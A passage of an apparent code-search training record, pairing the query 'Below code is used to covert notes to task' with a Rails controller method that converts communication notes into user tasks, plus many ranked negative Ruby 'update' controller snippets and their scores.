"def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n $redis.publish('tasks.update', TaskSerializer.new(Task.last).to_json)\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #binding.pry\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: \"Task was successfully updated.\" }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @task.update(task_params)\n\t\t\t\tformat.html { redirect_to [:admin, @task], notice: 'Task was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: [:admin, @task] }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: [:admin, @task].errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @task = Task.find(params[:id])\n params[:task] ? @task.update_attributes(params[:task]) : @task.update_attributes(:description=>params[:description], :isDone=>params[:isDone], :order=>params[:order] )\n #@task.save\n respond_with(@task)\nend",
"def update\n task = Task.find(params[:id])\n if task.update(task_params)\n render json: task\n else\n render_errors(task)\n end\n end",
"def update\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n end\n respond_with(@task)\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to tasks_path, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: tasks_path }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to tasks_path, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: tasks_path }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @task = current_user.tasks.find(params[:id])\n if params[:commit] == 'Switch Now'\n @task.switch_now\n params[:task] ||= {}\n params[:task][:stop] = @task.stop\n end\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(@task, :notice => 'Task was successfully updated.') }\n format.xml { head :ok }\n else\n @tags = current_user.tags.all\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to action: \"index\" }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @task = @pickup.tasks.find(params[:id])\n\n if @task.update_status(params[:commit], current_user, params[:task][:comments])\n donemark \"#{@task.name} #{@task.status}.\"\n audit \"Pickup \\\"#{@pickup.name}\\\" task #{@task.name} #{@task.status}\", :auditable => @pickup\n else\n errormark \"Unable to update task.\"\n end\n\n redirect_to :action => 'index'\n end",
"def update\n #@readonly_task = ReadonlyTask.find(params[:id])\n result = ''\n\n ReadonlyTask.transaction do\n all_tasks = ReadonlyTask.all\n ReadonlyTask.all.each do |rt|\n rt.destroy\n end\n\n unless params[:task_ids].blank?\n params[:task_ids].each do |task_id|\n\n unless task_id_in_readonly_task(all_tasks, task_id)\n task = Task.find(task_id.to_i)\n result += \"-------------------\\n\"\n result += \"Packages moved to state 'Already Released':\\n\"\n result += ReadonlyTask.move_other_packages_to_already_released(task_id.to_i)\n result += \"-------------------\\n\"\n task.active = nil\n task.frozen_state = \"1\"\n task.save\n end\n\n rt = ReadonlyTask.new\n rt.task_id = task_id.to_i\n rt.save\n end\n end\n end\n\n respond_to do |format|\n #if @readonly_task.update_attributes(params[:readonly_task])\n format.html do\n notice ='ReadonlyTask was successfully updated.'\n unless result.blank?\n notice += \"\\n\" + result\n end\n redirect_to(readonly_tasks_path,\n :notice => notice.gsub(\"\\n\", \"<br/>\"))\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n if @task.update_attributes(params[:task])\n redirect_to project_tasklist_task_path(@project, @tasklist, @task), notice: 'Task was successfully updated.'\n else\n render action: \"edit\"\n end\n end",
"def update\n if current_user\n @task = Task.find(params[:id])\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to tasks_path, notice: 'Please Log In First.'\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to tasks_url, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to tasks_url, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @tasks = Task.find(params[:id])\r\n if @tasks.update(task_params)\r\n render json: @tasks\r\n else\r\n render json: @tasks.errors, status: :unprocessable_entity\r\n end\r\n end",
"def update\n @task = Task.find(params[:id])\n\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n redirect_to(@task)\n else\n render :action => \"edit\"\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: \"Task was successfully updated.\" }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: \"Task was successfully updated.\" }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: \"Task was successfully updated.\" }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: \"Task was successfully updated.\" }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: \"Task was successfully updated.\" }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: t('task.successfully-updated') }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_task\r\n\r\n t = BgWorker.task(:name => params[:task][:name]) # new task so we update data\r\n if t[:name].blank?\r\n flash[:error] = _('Invalid name!')\r\n redirect_to :action => :back\r\n end\r\n t[:filename]\t= Rails.root.join('lib', 'tasks', \"bg_worker_#{t[:name]}.rake\")\r\n id \t\t= params[:task][:id]\r\n t[:code]\t= params[:task][:code]\r\n t[:namespace] \t= params[:task][:namespace]\r\n t[:desc]\t= params[:task][:desc]\r\n t[:args]\t= params[:task][:args].blank? ? nil :\r\n params[:task][:args].tr(' :', ',').split(',').compact.map{|d|\r\n \":#{d}\".gsub('::', ':') unless d.blank?}.compact.join(', ')\r\n arg_string\t= \", [#{t[:args]}]\" unless t[:args].blank?\r\n t[:dependencies]= params[:task][:dependencies].blank? ? nil :\r\n params[:task][:dependencies].tr(' :', ',').split(',').compact.map{|d|\r\n \":#{d}\".gsub('::', ':') unless d.blank?}.compact.join(', ')\r\n dep_string\t= \" => [#{t[:dependencies]}]\" unless t[:dependencies].blank?\r\n t = BgWorker.task(t)\r\n file = %Q[# name: #{t[:name]}\r\n\r\n # args: #{t[:args]}\r\n # desc: #{t[:desc]}\r\n #{\"# namespace: #{t[:namespace]}\" unless t[:namespace].blank?}\r\n # dependencies: #{t[:dependencies] unless t[:dependencies].blank?}\r\n #{\"namespace :#{t[:namespace]} do\" unless t[:namespace].blank?}\r\n\r\n desc %q[#{t[:desc]}]\r\n task :#{t[:name]} #{arg_string} #{dep_string} do |task #{', args' if arg_string}|\r\n\r\n #{t[:code]}\r\n\r\n end\r\n\r\n #{'end' unless t[:namespace].blank?}]\r\n\r\n if !id.blank? && id != t[:name]\r\n begin\r\n File.rm(Rails.root.join('lib', 'tasks', \"#{id}.rake\"))\r\n rescue\r\n flash[:error] = _('Task %{obj} could not be erased!') % {:obj => id}\r\n end\r\n end\r\n begin\r\n File.open(t[:filename], 'w+') {|f| f.write file}\r\n flash[:notice] = _('%{obj} successfully modified') % {:obj => _('Task')}\r\n rescue\r\n flash[:error] ||= ''\r\n flash[:error] << _('%{obj} could not be modified!') % {:obj => _('Task')}\r\n end\r\n redirect_to :action => :list\r\n end",
"def update\n @task = Task.find(params[:id])\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to_index('Task was successfully updated.', 1)}\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n # avoids API call when only color is changed\n if (@task.changed_only_color(task_params))\n @task.color = task_params[\"color\"]\n return @task.save\n end\n @task.start = task_params[\"start\"].to_time.utc\n @task.end = task_params[\"end\"].to_time.utc\n # normal event dragged to all-day zone\n if (@task.start == @task.end && @task.start.localtime == @task.start.localtime.midnight)\n @task.end = @task.start + 1.days\n # all-day event dragged to normal zone\n elsif (@task.start == @task.end)\n @task.end = @task.start + 1.hours\n end\n @task.title = task_params[\"title\"]\n @task.description = task_params[\"description\"]\n # only change color if new color specified\n if !task_params[\"color\"].nil?\n @task.color = task_params[\"color\"]\n end\n # For Google API POST request\n event = @service.get_event(\"primary\", @task.google_id)\n event.summary = @task.title\n event.start = {date_time: @task.start.localtime.iso8601}\n event.end = {date_time: @task.end.localtime.iso8601}\n event.description = @task.description\n event = @service.update_event(\"primary\", @task.google_id, event)\n @task.save\n end",
"def update\n respond_to do |format|\n if @api_task.update(api_task_params)\n format.html { redirect_to @api_task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_task }\n else\n format.html { render :edit }\n format.json { render json: @api_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @task.update_attributes(task_params)\n flash[:notice] = \"Successfully updated task!\"\n redirect_to task_path(@task)\n else\n flash[:alert] = \"Error updating task!\"\n render :edit\n end\n end",
"def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, :notice => 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @task = current_user.tasks.find(params[:id])\n # Tasks may not change job, so no assigment like the Create action\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n format.html { redirect_to job_url(@task.job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors.to_xml }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task.update task_params\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @task = Task.find(params[:id])\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Tarefa was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n \tformat.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\nend",
"def update\n respond_to do |format|\n if @task.update(task_params)\n @task.whenever_reset unless task_params[:every].blank? && task_params[:at].blank?\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save\n MoxiworksPlatform::Task.update(self.to_hash)\n end",
"def update\n @task = current_user.tasks.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to :action => :index, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.83295304",
"0.80790067",
"0.7988207",
"0.77650857",
"0.7725884",
"0.7685884",
"0.763715",
"0.7635538",
"0.7635098",
"0.7621154",
"0.7618731",
"0.75391346",
"0.75151587",
"0.75008655",
"0.74234",
"0.7389905",
"0.73669827",
"0.73576945",
"0.7344472",
"0.73399514",
"0.7337498",
"0.7336146",
"0.7327661",
"0.73251444",
"0.73059916",
"0.72982085",
"0.72972846",
"0.72962546",
"0.72825694",
"0.7279944",
"0.725646",
"0.72486895",
"0.72481877",
"0.724117",
"0.7237778",
"0.7224214",
"0.72068375",
"0.7181088",
"0.7178906",
"0.71775955",
"0.7167328",
"0.71650964",
"0.7147027",
"0.71398443",
"0.71388024",
"0.7131282",
"0.7129311",
"0.712006",
"0.7113102",
"0.7113102",
"0.71044385",
"0.71024966",
"0.7097588",
"0.70951253",
"0.70892495",
"0.7084444",
"0.7084034",
"0.7077875",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.7065947",
"0.70644844",
"0.70644844",
"0.7057296",
"0.70530677",
"0.70515174",
"0.70515174",
"0.70515174",
"0.70515174",
"0.70515174",
"0.7046346",
"0.70325315",
"0.702549",
"0.7019519",
"0.7018879",
"0.7016462",
"0.70148623",
"0.70123047",
"0.7006259",
"0.7004927",
"0.70048",
"0.69792235",
"0.69747084"
] |
0.0
|
-1
|
Below code is used to covert notes to task.
|
def update
data=params
employee = Employee.find(params[:id])
if update_lawyer_preferences(employee)
flash[:notice] = "Lawyer preferences updated successfully"
redirect_to :back
return true
else
flash[:error] = "<ul>" + employee.errors.full_messages.collect {|e| "<li>" + e + "</li>"}.join(" ") + "</ul>"
redirect_to :back
return false
end
@com_notes_entries = Communication.find(data["id"].to_i)
@note_priority = (data[:com_notes_entries][:note_priority] == 0 ||data[:com_notes_entries][:note_priority].eql?('0'))? 1 : 2
notes = data[:com_notes_entries][:description] if data[:com_notes_entries][:description]
# Below code is common in "Complete Task" and "Assign To" logic.
if data[:commit].eql?("Complete Task") || data[:commit].eql?("Assign To")
notes_type = data[:task][:tasktype] unless data[:task][:tasktype].blank?
task_details = {}
task_details.merge!(data[:task])
task_details.merge!(:name=>notes,:tasktype =>notes_type,:priority=>@note_priority)
end
if data[:commit].eql?("Save & Exit")
respond_to do |format|
if @com_notes_entries.update_attributes(:description=>notes,:more_action =>data[:com_notes_entries][:more_action], :matter_id =>data[:com_notes_entries][:matter_id], :contact_id=>data[:com_notes_entries][:contact_id],:note_priority=>@note_priority.to_i)
flash[:notice] = "#{t(:text_task)} " "#{t(:flash_was_successful)} " "#{t(:text_saved)}"
format.html {redirect_to physical_liviaservices_livia_secretaries_url}
else
format.html { render :action => "show" }
end
end
elsif data[:commit].eql?("Complete Task")
task_details.merge!(data[:task])
task_details.merge!(:assigned_to_user_id =>@current_user.id,:status=>'complete',:completed_at=>Time.now,:completed_by_user_id=>@current_user.id)
@task= UserTask.new(task_details)
respond_to do |format|
# Below mention transaction block basically revert Task entry and even revert the Communication to update.
# Added by Ajay Arsud Date:09 Sept 2010
UserTask.transaction do
if @task.save
@com_notes_entries = Communication.find(data["id"].to_i)
@task.update_attributes(:company_id=>@com_notes_entries.company_id)
@com_notes_entries.update_attributes(:status => 'complete')
flash[:notice] = "#{t(:text_task)} " "#{t(:flash_was_successful)} " "#{t(:text_completed)}"
format.html { redirect_to physical_liviaservices_livia_secretaries_url }
else
flash[:error] = t(:flash_task_type)
format.html { redirect_to physical_liviaservices_livia_secretaries_url }
end
end
end
elsif data[:commit].eql?("Assign To")
task_details.merge!(:assigned_to_user_id =>data[:task][:assigned_to_user_id])
@task = UserTask.new(task_details)
respond_to do |format|
# Below mention transaction block basically revert Task entry and even revert the Communication to update.
# Added by Ajay Arsud Date:09 Sept 2010
Communication.transaction do
if @task.save
@com_notes_entries = Communication.find(data["id"].to_i)
@task.update_attributes(:company_id=>@com_notes_entries.company_id)
@com_notes_entries.update_attributes(:status => 'complete')
flash[:notice] = "#{t(:text_task)} " "#{t(:flash_was_successful)} " "#{t(:text_assigned)}"
format.html { redirect_to physical_liviaservices_livia_secretaries_url }
else
flash[:error] = t(:flash_task_type)
format.html { redirect_to physical_liviaservices_livia_secretaries_url }
end
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def description\n \"This task simply attaches a note entity to the current entity.\"\nend",
"def create\n note_id = task_params[\"note_id\"]\n new_task_params = task_params\n new_task_params.delete(\"note_id\")\n @task = Task.new(new_task_params)\n if task_params[\"color\"].nil?\n @task.color = 'purple'\n else\n @task.color = task_params[\"color\"]\n end\n # when note gets dropped on calendar\n if (!note_id.nil?)\n note = Note.find(note_id)\n @task.title = note.title\n @task.description = note.description\n @task.color = note.color\n end\n @task.start = task_params[\"start\"].to_time.utc\n @task.end = task_params[\"end\"].to_time.utc\n # note dragged on all-day area\n if (@task.start == @task.end)\n @task.end = @task.start + 1.days\n end\n # for Google API post\n event = Google::Apis::CalendarV3::Event.new({\n start: {date_time: @task.start.localtime.iso8601},\n end: {date_time: @task.end.localtime.iso8601},\n summary: @task.title,\n description: @task.description\n })\n event = @service.insert_event(\"primary\", event)\n @task.google_id = event.id\n @task.user_id = current_user.id\n @task.save\n end",
"def create_notes\n end",
"def to_task\n\t\tt = Rubyfocus::Task.new(nil)\n\t\tinstance_variables.each do |ivar|\n\t\t\tnext if ivar == :\"@document\"\n\t\t\tsetter = ivar.to_s.gsub(/^@/,\"\") + \"=\"\n\t\t\tt.send(setter, self.instance_variable_get(ivar))\tif t.respond_to?(setter)\n\t\tend\n\t\tt\n\tend",
"def update_notes\n tasks = params[:task].values.collect{ |tasks|\n UserTask.new(tasks.merge!(:created_by_user_id=>current_user.id,:priority=> tasks[:priority].nil? ? 1:2)) }\n tasks.each do |tasks|\n unless tasks.assigned_to_user_id.blank?\n if tasks.save\n com_notes_entries = Communication.find(tasks.note_id.to_i)\n com_notes_entries.update_attributes(:status => 'complete')\n flash[:notice] = \"#{t(:text_notes)} \" \"#{t(:flash_was_successful)} \" \"#{t(:text_assigned)}\"\n else\n flash[:error] = \"Task Type should not be empty!\"\n end\n end\n end \n redirect_to physical_liviaservices_managers_portal_path\n end",
"def add_task(issue)\n # If there is a passed in OF project name, get the actual project object\n issue.omnifocus_project = omnifocus.project if issue.project\n # If there is a passed in OF context name, get the actual context object\n # Update the context property to be the actual context object not the context name\n issue.omnifocus_context = omnifocus.context if issue.context\n\n # Check to see if there's already an OF Task with that name in the referenced Project\n # If there is, just stop.\n # puts \"fetching omnifocus task for: \\\"#{issue.task_name}\\\"\"\n existing_task = issue.omnifocus_project.tasks.get.find { |t|\n t.name.get == issue.task_name \n }\n\n #TODO: update_issue if exists\n return false if existing_task\n\n # You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n # new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => issue.omnifocus_properties)\n\n # Make a new Task in the Project\n proj.make(:new => :task, :with_properties => issue.omnifocus_properties)\n puts [\"task created:\", issue.omnifocus_properties].inspect\n return true\nend",
"def create\n @task = Task.new(task_params)\n @note = TaskNote.new(user_id: @user.id)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to back_url, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @task = Task.new(task_params)\n @note = TaskNote.new(user_id: @user.id)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to back_url, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def parse_task(t)\n @builder.outline(\"text\" => t[\"name\"], \"type\" => \"link\", \"url\" => t[\"url\"], \"created\" => t[\"created\"]) do\n \tt[\"tasks\"].each { |st| parse_task(st) }\n end\n end",
"def toodle_to_taskwarrior(task)\n twtask = {}\n twtask[:toodleid] = task[:id]\n twtask[:description] = task[:title]\n twtask[@due_field] = from_toodle_date(task[:duedate].to_i) if task[:duedate]\n twtask[:tags] = task[:tag].split(\",\").map(&:strip) if task[:tag]\n twtask[:project] = toodle_folder_to_tw(task[:folder]) if task[:folder]\n twtask[:priority] = toodle_priority_to_tw(task[:priority]) if task[:priority]\n twtask[:status] = task[:completed] ? \"completed\" : \"pending\"\n twtask[:uuid] = SecureRandom.uuid\n twtask[:entry] = Time.now.to_i\n if task[:context]\n con = toodle_context_to_tw(task[:context])\n twtask[:tags] = twtask[:tags] ? twtask[:tags].concat([ con ]) : [con]\n end\n\n twtask\n end",
"def description\n \"This task converts a netblock into host records\"\nend",
"def add_task(omnifocus_document, new_task_properties)\n\t# If there is a passed in OF project name, get the actual project object\n\tif new_task_properties['project']\n\t\tproj_name = new_task_properties[\"project\"]\n\t\tproj = omnifocus_document.flattened_tasks[proj_name]\n\tend\n\n\t# Check to see if there's already an OF Task with that name in the referenced Project\n\t# If there is, just stop.\n\tname = new_task_properties[\"name\"]\n\t#exists = proj.tasks.get.find { |t| t.name.get.force_encoding(\"UTF-8\") == name }\n\t# You can un-comment the line below and comment the line above if you want to search your entire OF document, instead of a specific project.\n\texists = omnifocus_document.flattened_tasks.get.find { |t| t.name.get.force_encoding(\"UTF-8\") == name }\n\treturn false if exists\n\n\t# If there is a passed in OF tag name, get the actual tag object\n\tif new_task_properties['tag']\n\t\ttag_name = new_task_properties[\"tag\"]\n\t\ttag = omnifocus_document.flattened_tags[tag_name]\n\tend\n\n\t# Do some task property filtering. I don't know what this is for, but found it in several other scripts that didn't work...\n\ttprops = new_task_properties.inject({}) do |h, (k, v)|\n\t\th[:\"#{k}\"] = v\n\t\th\n\tend\n\n\t# Remove the project property from the new Task properties, as it won't be used like that.\n\ttprops.delete(:project)\n\t# Update the primary tag property to be the actual tag object not the tag name\n tprops.delete(:tag)\n\ttprops[:primary_tag] = tag if new_task_properties['tag']\n\n\t# You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n\t# new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => tprops)\n\n\t# Make a new Task in the Project\n\tproj.make(:new => :task, :with_properties => tprops)\n\n\tputs \"Created task \" + tprops[:name]\n\treturn true\nend",
"def create\n @journal = current_user.journals.find(params[:journal_id])\n @task = @journal.tasks.find(params[:task_id])\n @task.descriptions.create\n redirect_to journal_task_path(@journal, @task)\n end",
